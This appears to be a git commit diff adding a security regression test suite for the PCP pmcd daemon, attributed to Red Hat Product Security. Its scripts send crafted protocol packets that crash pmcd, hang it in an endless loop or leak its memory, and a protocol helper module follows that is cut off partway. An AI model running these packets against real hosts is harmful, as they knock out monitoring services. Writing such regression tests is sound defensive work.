summaryrefslogtreecommitdiff
path: root/qa/secure
diff options
context:
space:
mode:
Diffstat (limited to 'qa/secure')
-rw-r--r--qa/secure/GNUmakefile26
-rw-r--r--qa/secure/GNUmakefile.install20
-rwxr-xr-xqa/secure/crash-cred15
-rwxr-xr-xqa/secure/crash-fetch16
-rwxr-xr-xqa/secure/crash-instancereq18
-rwxr-xr-xqa/secure/crash-namereq-child19
-rwxr-xr-xqa/secure/crash-namereq-traverse19
-rwxr-xr-xqa/secure/crash-pmns-names16
-rwxr-xr-xqa/secure/crash-profile22
-rwxr-xr-xqa/secure/crash-profile-instances22
-rwxr-xr-xqa/secure/hang-pmcd26
-rwxr-xr-xqa/secure/leak-fetch19
-rwxr-xr-xqa/secure/leak-getpdu18
-rw-r--r--qa/secure/pcppdu.python650
-rwxr-xr-xqa/secure/query-proc27
15 files changed, 933 insertions, 0 deletions
diff --git a/qa/secure/GNUmakefile b/qa/secure/GNUmakefile
new file mode 100644
index 0000000..f353722
--- /dev/null
+++ b/qa/secure/GNUmakefile
@@ -0,0 +1,26 @@
+TOPDIR = ../..
+include $(TOPDIR)/src/include/builddefs
+
+TESTDIR = $(PCP_VAR_DIR)/testsuite/secure
+
+CRASHFILES = $(shell echo crash-*)
+QUERYFILES = $(shell echo query-*)
+LEAKFILES = $(shell echo leak-*)
+HANGFILES = $(shell echo hang-*)
+
+PYMODULES = pcppdu.python
+TESTCASES = $(CRASHFILES) $(QUERYFILES) $(LEAKFILES) $(HANGFILES)
+LSRCFILES = $(TESTCASES) $(PYMODULES) GNUmakefile.install
+LDIRT = pcppdu.py pcppdu.pyc pcppdu.pyo
+
+default default_pcp setup: pcppdu.py
+
+install install_pcp:
+ $(INSTALL) -m 755 -d $(TESTDIR)
+ $(INSTALL) -m 644 $(TESTCASES) $(PYMODULES) $(TESTDIR)
+ $(INSTALL) -m 644 GNUmakefile.install $(TESTDIR)/GNUmakefile
+
+include $(BUILDRULES)
+
+%.py : %.python
+ $(LN_S) $< $@
diff --git a/qa/secure/GNUmakefile.install b/qa/secure/GNUmakefile.install
new file mode 100644
index 0000000..73adff8
--- /dev/null
+++ b/qa/secure/GNUmakefile.install
@@ -0,0 +1,20 @@
+#
+# Copyright (c) 2013 Red Hat.
+#
+
+ifdef PCP_CONF
+include $(PCP_CONF)
+else
+include $(PCP_DIR)/etc/pcp.conf
+endif
+PATH = $(shell . $(PCP_DIR)/etc/pcp.env; echo $$PATH)
+include $(PCP_INC_DIR)/builddefs
+
+default default_pcp setup: pcppdu.py
+
+install install_pcp:
+
+include $(BUILDRULES)
+
+%.py : %.python
+ $(LN_S) $< $@
diff --git a/qa/secure/crash-cred b/qa/secure/crash-cred
new file mode 100755
index 0000000..2cd73a5
--- /dev/null
+++ b/qa/secure/crash-cred
@@ -0,0 +1,15 @@
+#
+# usage: python crash-cred HOST
+#
+# Connects to pmcd on HOST and sends a crafted PDU_CREDS packet,
+# causing the daemon to crash.
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+_, host = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+sock.send(str('\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x01\x00\x00\x01\x01\x02\x00\x00'))
+sock.close()
diff --git a/qa/secure/crash-fetch b/qa/secure/crash-fetch
new file mode 100755
index 0000000..d1cf2db
--- /dev/null
+++ b/qa/secure/crash-fetch
@@ -0,0 +1,16 @@
+#
+# usage: python crash-fetch HOST
+#
+# Connects to pmcd on HOST and sends a crafted PDU_FETCH packet
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+_, host = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+sock.send(str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00")
+ +str('\x00\x00\x00\x1c\x00\x00p\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\xff'))
+
+sock.close()
diff --git a/qa/secure/crash-instancereq b/qa/secure/crash-instancereq
new file mode 100755
index 0000000..b9ea390
--- /dev/null
+++ b/qa/secure/crash-instancereq
@@ -0,0 +1,18 @@
+#
+# usage: python crash-instancereq HOST
+#
+# Connects to pmcd on HOST and sends a crafted PDU_INSTANCE_REQ
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+_, host = sys.argv
+#sock = socket.create_connection((host, 44321))
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+sock.send(str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00")
+ + str('\x00\x00\x04\x08\x00\x00p\x06\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff')
+ + str('X') * 1000)
+
+sock.close()
diff --git a/qa/secure/crash-namereq-child b/qa/secure/crash-namereq-child
new file mode 100755
index 0000000..9066626
--- /dev/null
+++ b/qa/secure/crash-namereq-child
@@ -0,0 +1,19 @@
+#
+# usage: python crash-namereq-child HOST
+#
+# Sends a crafted PDU_PMNS_CHILD PDU to HOST.
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+_, host = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+sock.send(
+ str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00")
+ + str('\x00\x00\x10\x18\x00\x00') + str("\x70\x0f") # PDU_PMNS_CHILD
+ + str('\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffXXXX')
+ + str('X') * 0x1000)
+
+sock.close()
diff --git a/qa/secure/crash-namereq-traverse b/qa/secure/crash-namereq-traverse
new file mode 100755
index 0000000..18e6de2
--- /dev/null
+++ b/qa/secure/crash-namereq-traverse
@@ -0,0 +1,19 @@
+#
+# usage: python crash-namereq-traverse HOST
+#
+# Sends a crafted PDU_PMNS_TRAVERSE PDU to HOST.
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+_, host = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+sock.send(
+ str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00")
+ + str('\x00\x00\x10\x18\x00\x00') + str("\x70\x10") # PDU_PMNS_TRAVERSE
+ + str('\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffXXXX')
+ + str('X') * 0x1000)
+
+sock.close()
diff --git a/qa/secure/crash-pmns-names b/qa/secure/crash-pmns-names
new file mode 100755
index 0000000..ebaff17
--- /dev/null
+++ b/qa/secure/crash-pmns-names
@@ -0,0 +1,16 @@
+#
+# usage: python crash-pmns-names HOST
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+_, host = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+sock.send(
+ str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00")
+ + str("\x00\x00',\x00\x00p\x0e\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'\x10")
+ + str("X") * 10000)
+
+sock.close()
diff --git a/qa/secure/crash-profile b/qa/secure/crash-profile
new file mode 100755
index 0000000..2a0e5af
--- /dev/null
+++ b/qa/secure/crash-profile
@@ -0,0 +1,22 @@
+#
+# usage: python crash-profile HOST
+#
+# Connects to pmcd on HOST and triggers a crash in __pmDecodeProfile.
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+import pcppdu
+_, host = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+pcppdu.client_handshake(sock, from_=1)
+pcppdu.send_pmns_names(sock, from_=1, names=(str("hinv.ncpu"),))
+ids = pcppdu.parse_pmns_ids(pcppdu.read_pdu(sock))
+pmid = ids[1].idlist[0]
+pcppdu.send_desc_req(sock, from_=1, pmid=pmid)
+# print(pcppdu.parse_desc(pcppdu.read_pdu(sock)))
+sock.send(str('\x00\x00\x00(\x00\x00p\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'))
+
+sock.close()
diff --git a/qa/secure/crash-profile-instances b/qa/secure/crash-profile-instances
new file mode 100755
index 0000000..58a989e
--- /dev/null
+++ b/qa/secure/crash-profile-instances
@@ -0,0 +1,22 @@
+#
+# usage: python crash-profile-instances HOST
+#
+# Connects to pmcd on HOST and triggers a crash in __pmDecodeProfile.
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+import pcppdu
+_, host = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+pcppdu.client_handshake(sock, from_=1)
+pcppdu.send_pmns_names(sock, from_=1, names=(str("hinv.ncpu"),))
+ids = pcppdu.parse_pmns_ids(pcppdu.read_pdu(sock))
+pmid = ids[1].idlist[0]
+pcppdu.send_desc_req(sock, from_=1, pmid=pmid)
+# print(pcppdu.parse_desc(pcppdu.read_pdu(sock)))
+sock.send(str('\x00\x00\x00(\x00\x00p\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'))
+
+sock.close()
diff --git a/qa/secure/hang-pmcd b/qa/secure/hang-pmcd
new file mode 100755
index 0000000..4084ae4
--- /dev/null
+++ b/qa/secure/hang-pmcd
@@ -0,0 +1,26 @@
+#
+# usage: python hang-pmcd HOST
+#
+# Connects to pmcd on HOST and blocks all further processing.
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+import time
+_, host = sys.argv
+while True:
+ try:
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.connect((host, 44321))
+ sock.send(str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00"))
+ pkt = str('\x00\x00\xff\xff\x00\x00p\x03\x00\x00\x00\x01')
+ sock.send(pkt)
+ for x in range(0xFFFF - len(pkt)):
+ time.sleep(3)
+ sock.send(str("\x00"))
+ sock.close()
+ except socket.error, e:
+ print "hang-pmcd: socket error:", e
+ time.sleep(1)
+
diff --git a/qa/secure/leak-fetch b/qa/secure/leak-fetch
new file mode 100755
index 0000000..c25e1cc
--- /dev/null
+++ b/qa/secure/leak-fetch
@@ -0,0 +1,19 @@
+#
+# usage: python leak-fetch HOST
+#
+# Connects to pmcd on HOST and sends a crafted PDU_FETCH packet which triggers a memory leak.
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+import pcppdu
+_, host, count = sys.argv
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((host, 44321))
+pcppdu.client_handshake(sock, from_=1)
+iterations = int(count)
+for i in range(iterations):
+ pcppdu.send_fetch(sock, from_=1, ctxnum=1, pmidlist=(1,) * 10000)
+ pcppdu.read_pdu(sock)
+sock.close()
diff --git a/qa/secure/leak-getpdu b/qa/secure/leak-getpdu
new file mode 100755
index 0000000..c7ab417
--- /dev/null
+++ b/qa/secure/leak-getpdu
@@ -0,0 +1,18 @@
+#
+# usage: python leak-getpdu HOST
+#
+# Connects to pmcd on HOST and sends crafted PDUs which triggers a memory leak.
+#
+# Florian Weimer / Red Hat Product Security Team
+#
+import socket
+import sys
+import pcppdu
+_, host, count = sys.argv
+iterations = int(count)
+for i in range(iterations):
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.connect((host, 44321))
+ pcppdu.client_handshake(sock, from_=1)
+ pcppdu.send_pdu(sock, -1, 1, str("X") * 65000)
+ sock.close()
diff --git a/qa/secure/pcppdu.python b/qa/secure/pcppdu.python
new file mode 100644
index 0000000..cb1550d
--- /dev/null
+++ b/qa/secure/pcppdu.python
@@ -0,0 +1,650 @@
+# PCP protocol support
+#
+# Florian Weimer / Red Hat Product Security Team
+import struct
+import collections
+from operator import itemgetter as _itemgetter
+import sys
+
+CVERSION = 1
+UNKNOWN_VERSION = 0
+PDU_VERSION2 = 2
+PDU_VERSION = PDU_VERSION2
+PDU_ERROR = 0x7000
+PDU_RESULT = 0x7001
+PDU_PROFILE = 0x7002
+PDU_FETCH = 0x7003
+PDU_DESC_REQ = 0x7004
+PDU_DESC = 0x7005
+PDU_INSTANCE_REQ = 0x7006
+PDU_INSTANCE = 0x7007
+PDU_TEXT_REQ = 0x7008
+PDU_TEXT = 0x7009
+PDU_CONTROL_REQ = 0x700a
+PDU_CREDS = 0x700c
+PDU_PMNS_IDS = 0x700d
+PDU_PMNS_NAMES = 0x700e
+PDU_PMNS_CHILD = 0x700f
+PDU_PMNS_TRAVERSE = 0x7010
+def read_fully(sock, n):
+ result = str("")
+ while len(result) < n:
+ result += sock.recv(n - len(result))
+ return result
+def read_pdu(sock):
+ "Reads the PDU, removing the length from the header."
+ length = read_fully(sock, 4)
+ length1, = struct.unpack(">i", length)
+ return read_fully(sock, length1 - 4)
+
+# Generated by collections command (not presented in python 2.4
+# Header = collections.namedtuple("Header", "type from_")
+class Header(tuple):
+ 'Header(type, from_)'
+
+ __slots__ = ()
+
+ _fields = ('type', 'from_')
+
+ def __new__(_cls, type, from_):
+ return tuple.__new__(_cls, (type, from_))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new Header object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 2:
+ raise TypeError('Expected 2 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'Header(type=%r, from_=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'type': t[0], 'from_': t[1]}
+
+ def _replace(_self, **kwds):
+ 'Return a new Header object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('type', 'from_'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ type = property(_itemgetter(0))
+ from_ = property(_itemgetter(1))
+
+# Generated by collections command (not presented in python 2.4
+#ExtendedError = collections.namedtuple("ExtendedError", "code datum")
+class ExtendedError(tuple):
+ 'ExtendedError(code, datum)'
+
+ __slots__ = ()
+
+ _fields = ('code', 'datum')
+
+ def __new__(_cls, code, datum):
+ return tuple.__new__(_cls, (code, datum))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new ExtendedError object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 2:
+ raise TypeError('Expected 2 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'ExtendedError(code=%r, datum=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'code': t[0], 'datum': t[1]}
+
+ def _replace(_self, **kwds):
+ 'Return a new ExtendedError object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('code', 'datum'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ code = property(_itemgetter(0))
+ datum = property(_itemgetter(1))
+
+
+def parse_error(blob):
+ (typ, from_, code, datum) = struct.unpack(">iiii", blob)
+ return Header(typ, from_), ExtendedError(code, datum)
+# Generated by collections command (not presented in python 2.4
+#PMNSIDs = collections.namedtuple("PmnsIDs", "sts idlist")
+class PMNSIDs(tuple):
+ 'PmnsIDs(sts, idlist)'
+
+ __slots__ = ()
+
+ _fields = ('sts', 'idlist')
+
+ def __new__(_cls, sts, idlist):
+ return tuple.__new__(_cls, (sts, idlist))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new PmnsIDs object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 2:
+ raise TypeError('Expected 2 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'PmnsIDs(sts=%r, idlist=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'sts': t[0], 'idlist': t[1]}
+
+ def _replace(_self, **kwds):
+ 'Return a new PmnsIDs object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('sts', 'idlist'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ sts = property(_itemgetter(0))
+ idlist = property(_itemgetter(1))
+
+
+def parse_pmns_ids(blob):
+ (typ, from_, sts, elems) = struct.unpack(">iiii", blob[:16])
+ return Header(typ, from_), PMNSIDs(
+ sts, struct.unpack(">" + "I" * elems, blob[16:]))
+# Generated by collections command (not presented in python 2.4
+#Units = collections.namedtuple\
+# ("Units", "scaleCount scaleTime scaleSpace dimCount dimTime dimSpace")
+class Units(tuple):
+ 'Units(scaleCount, scaleTime, scaleSpace, dimCount, dimTime, dimSpace)'
+
+ __slots__ = ()
+
+ _fields = ('scaleCount', 'scaleTime', 'scaleSpace', 'dimCount', 'dimTime', 'dimSpace')
+
+ def __new__(_cls, scaleCount, scaleTime, scaleSpace, dimCount, dimTime, dimSpace):
+ return tuple.__new__(_cls, (scaleCount, scaleTime, scaleSpace, dimCount, dimTime, dimSpace))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new Units object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 6:
+ raise TypeError('Expected 6 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'Units(scaleCount=%r, scaleTime=%r, scaleSpace=%r, dimCount=%r, dimTime=%r, dimSpace=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'scaleCount': t[0], 'scaleTime': t[1], 'scaleSpace': t[2], 'dimCount': t[3], 'dimTime': t[4], 'dimSpace': t[5]}
+
+ def _replace(_self, **kwds):
+ 'Return a new Units object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('scaleCount', 'scaleTime', 'scaleSpace', 'dimCount', 'dimTime', 'dimSpace'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ scaleCount = property(_itemgetter(0))
+ scaleTime = property(_itemgetter(1))
+ scaleSpace = property(_itemgetter(2))
+ dimCount = property(_itemgetter(3))
+ dimTime = property(_itemgetter(4))
+ dimSpace = property(_itemgetter(5))
+
+
+def _split84(b):
+ return (b >> 4) & 15, b & 15
+# Generated by collections command (not presented in python 2.4
+#Desc = collections.namedtuple("Desc", "pmid units")
+class Desc(tuple):
+ 'Desc(pmid, units)'
+
+ __slots__ = ()
+
+ _fields = ('pmid', 'units')
+
+ def __new__(_cls, pmid, units):
+ return tuple.__new__(_cls, (pmid, units))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new Desc object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 2:
+ raise TypeError('Expected 2 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'Desc(pmid=%r, units=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'pmid': t[0], 'units': t[1]}
+
+ def _replace(_self, **kwds):
+ 'Return a new Desc object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('pmid', 'units'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ pmid = property(_itemgetter(0))
+ units = property(_itemgetter(1))
+
+
+def parse_desc(blob):
+ try:
+ print "len string =", len(blob)
+ print "fmt len =", struct.calcsize(">iiIiIiBBBB")
+ (typ, from_, pmid, typ2, indom, sem, u1, u2, u3, u4) = \
+ struct.unpack(">iiIiIiBBBB", blob)
+ # TODO: check byte order (translated from bitfields)
+ # u1 is padding
+ scaleCount, scaleTime = _split84(u2)
+ scaleSpace, dimCount = _split84(u3)
+ dimTime, dimSpace = _split84(u4)
+ return Header(typ, from_), Desc(pmid, Units(
+ scaleCount, scaleTime, scaleSpace, dimCount, dimTime, dimSpace))
+ except struct.error:
+ sys.stderr.write("test-case-succeeded")
+ sys.exit(200)
+PM_VAL_INSITU = 0
+PM_VAL_DPTR = 1
+PM_VAL_SPTR = 2
+# Generated by collections command (not presented in python 2.4
+#ValueBlock = collections.namedtuple("ValueBlock", "vtype vbuf")
+class ValueBlock(tuple):
+ 'ValueBlock(vtype, vbuf)'
+
+ __slots__ = ()
+
+ _fields = ('vtype', 'vbuf')
+
+ def __new__(_cls, vtype, vbuf):
+ return tuple.__new__(_cls, (vtype, vbuf))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new ValueBlock object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 2:
+ raise TypeError('Expected 2 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'ValueBlock(vtype=%r, vbuf=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'vtype': t[0], 'vbuf': t[1]}
+
+ def _replace(_self, **kwds):
+ 'Return a new ValueBlock object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('vtype', 'vbuf'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ vtype = property(_itemgetter(0))
+ vbuf = property(_itemgetter(1))
+
+
+# Generated by collections command (not presented in python 2.4
+#Value = collections.namedtuple("Value", "inst value")
+class Value(tuple):
+ 'Value(inst, value)'
+
+ __slots__ = ()
+
+ _fields = ('inst', 'value')
+
+ def __new__(_cls, inst, value):
+ return tuple.__new__(_cls, (inst, value))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new Value object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 2:
+ raise TypeError('Expected 2 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'Value(inst=%r, value=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'inst': t[0], 'value': t[1]}
+
+ def _replace(_self, **kwds):
+ 'Return a new Value object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('inst', 'value'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ inst = property(_itemgetter(0))
+ value = property(_itemgetter(1))
+
+
+# Generated by collections command (not presented in python 2.4
+#ValueSet = collections.namedtuple("ValueSet", "pmid valfmt values")
+class ValueSet(tuple):
+ 'ValueSet(pmid, valfmt, values)'
+
+ __slots__ = ()
+
+ _fields = ('pmid', 'valfmt', 'values')
+
+ def __new__(_cls, pmid, valfmt, values):
+ return tuple.__new__(_cls, (pmid, valfmt, values))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new ValueSet object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 3:
+ raise TypeError('Expected 3 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'ValueSet(pmid=%r, valfmt=%r, values=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'pmid': t[0], 'valfmt': t[1], 'values': t[2]}
+
+ def _replace(_self, **kwds):
+ 'Return a new ValueSet object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('pmid', 'valfmt', 'values'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ pmid = property(_itemgetter(0))
+ valfmt = property(_itemgetter(1))
+ values = property(_itemgetter(2))
+
+
+# Generated by collections command (not presented in python 2.4
+#Result = collections.namedtuple("Result", "when data")
+class Result(tuple):
+ 'Result(when, data)'
+
+ __slots__ = ()
+
+ _fields = ('when', 'data')
+
+ def __new__(_cls, when, data):
+ return tuple.__new__(_cls, (when, data))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new Result object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 2:
+ raise TypeError('Expected 2 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'Result(when=%r, data=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'when': t[0], 'data': t[1]}
+
+ def _replace(_self, **kwds):
+ 'Return a new Result object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('when', 'data'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ when = property(_itemgetter(0))
+ data = property(_itemgetter(1))
+
+
+def __fetch_value_block(blob, index):
+ offset = index * 4 - 4
+ header, = struct.unpack(">I", blob[offset : offset + 4])
+ typ = header >> 24
+ # TODO: actually reduce string length by 4?
+ length = header & 0xFFFFFF - 4
+ return ValueBlock(typ, blob[offset + 4 : offset + 4 + length])
+def parse_result(blob):
+ offset = 20
+ typ, from_, sec, usec, numpmid = struct.unpack(">iiiii", blob[:offset])
+ data = []
+ for i in range(numpmid):
+ pmid, numval, valfmt = struct.unpack(
+ ">Iii", blob[offset : offset + 12])
+ offset += 12
+ values = []
+ for j in range(numval):
+ inst, value = struct.unpack(">ii", blob[offset : offset + 8])
+ offset += 8
+ if valfmt == PM_VAL_INSITU:
+ values.append(Value(inst, value))
+ else:
+ values.append(Value(inst, __fetch_value_block(blob, value)))
+ data.append(ValueSet(pmid, valfmt, values))
+ return Result((sec, usec), data)
+def send_pdu(sock, typ, from_, data):
+ "Adds a length/type/from header and sends the data over the socket."
+ header = struct.pack(">iii", len(data) + 12, typ, from_)
+ # print("> " + repr(header + data))
+ sock.send(header + data)
+# Generated by collections command (not presented in python 2.4
+#Cred = collections.namedtuple("Cred", "c_type c_vala c_valb c_valc")
+class Cred(tuple):
+ 'Cred(c_type, c_vala, c_valb, c_valc)'
+
+ __slots__ = ()
+
+ _fields = ('c_type', 'c_vala', 'c_valb', 'c_valc')
+
+ def __new__(_cls, c_type, c_vala, c_valb, c_valc):
+ return tuple.__new__(_cls, (c_type, c_vala, c_valb, c_valc))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new Cred object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 4:
+ raise TypeError('Expected 4 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
+ return 'Cred(c_type=%r, c_vala=%r, c_valb=%r, c_valc=%r)' % self
+
+ def _asdict(t):
+ 'Return a new dict which maps field names to their values'
+ return {'c_type': t[0], 'c_vala': t[1], 'c_valb': t[2], 'c_valc': t[3]}
+
+ def _replace(_self, **kwds):
+ 'Return a new Cred object replacing specified fields with new values'
+ result = _self._make(map(kwds.pop, ('c_type', 'c_vala', 'c_valb', 'c_valc'), _self))
+ if kwds:
+ raise ValueError('Got unexpected field names: %r' % kwds.keys())
+ return result
+
+ def __getnewargs__(self):
+ return tuple(self)
+
+ c_type = property(_itemgetter(0))
+ c_vala = property(_itemgetter(1))
+ c_valb = property(_itemgetter(2))
+ c_valc = property(_itemgetter(3))
+
+
+def send_creds(sock, from_, creds):
+ # TODO: check byte order (translated from bitfields
+ send_pdu(sock, PDU_CREDS, from_,
+ struct.pack(">i", len(creds))
+ + str("").join([struct.pack(">BBBB", *c) for c in creds]))
+def __pad_to_4(b):
+ "Adds NUL bytes at the end to make sure that the length is == 0 (mod 4)."
+ return b + (str(""), str("\0\0\0"), str("\0\0"), str("\0e"))[len(b) & 3]
+def send_pmns_names(sock, from_, names, status=False):
+ strlen = sum([len(x) + 1 for x in names])
+ if status:
+ not_implemented()
+ else:
+ send_pdu(sock, PDU_PMNS_NAMES, from_,
+ struct.pack(">iii", strlen, 0, len(names))
+ + str("").join([struct.pack(">I", len(x)) + __pad_to_4(x)
+ for x in names]))
+def send_pmns_child(sock, from_, name, subtype=0):
+ send_pdu(sock, PDU_PMNS_CHILD, from_,
+ struct.pack(">ii", subtype, len(name))
+ + name)
+def send_pmns_traverse(sock, from_, name, subtype=0):
+ send_pdu(sock, PDU_PMNS_TRAVERSE, from_,
+ struct.pack(">ii", subtype, len(name))
+ + name)
+def send_desc_req(sock, from_, pmid):
+ send_pdu(sock, PDU_DESC_REQ, from_, struct.pack(">I", pmid))
+# Generated by collections command (not presented in python 2.4
+#InDomProfile = collections.namedtuple("InDomProfile", "indom state instances")
+class InDomProfile(tuple):
+ 'InDomProfile(indom, state, instances)'
+
+ __slots__ = ()
+
+ _fields = ('indom', 'state', 'instances')
+
+ def __new__(_cls, indom, state, instances):
+ return tuple.__new__(_cls, (indom, state, instances))
+
+ @classmethod
+ def _make(cls, iterable, new=tuple.__new__, len=len):
+ 'Make a new InDomProfile object from a sequence or iterable'
+ result = new(cls, iterable)
+ if len(result) != 3:
+ raise TypeError('Expected 3 arguments, got %d' % len(result))
+ return result
+
+ def __repr__(self):
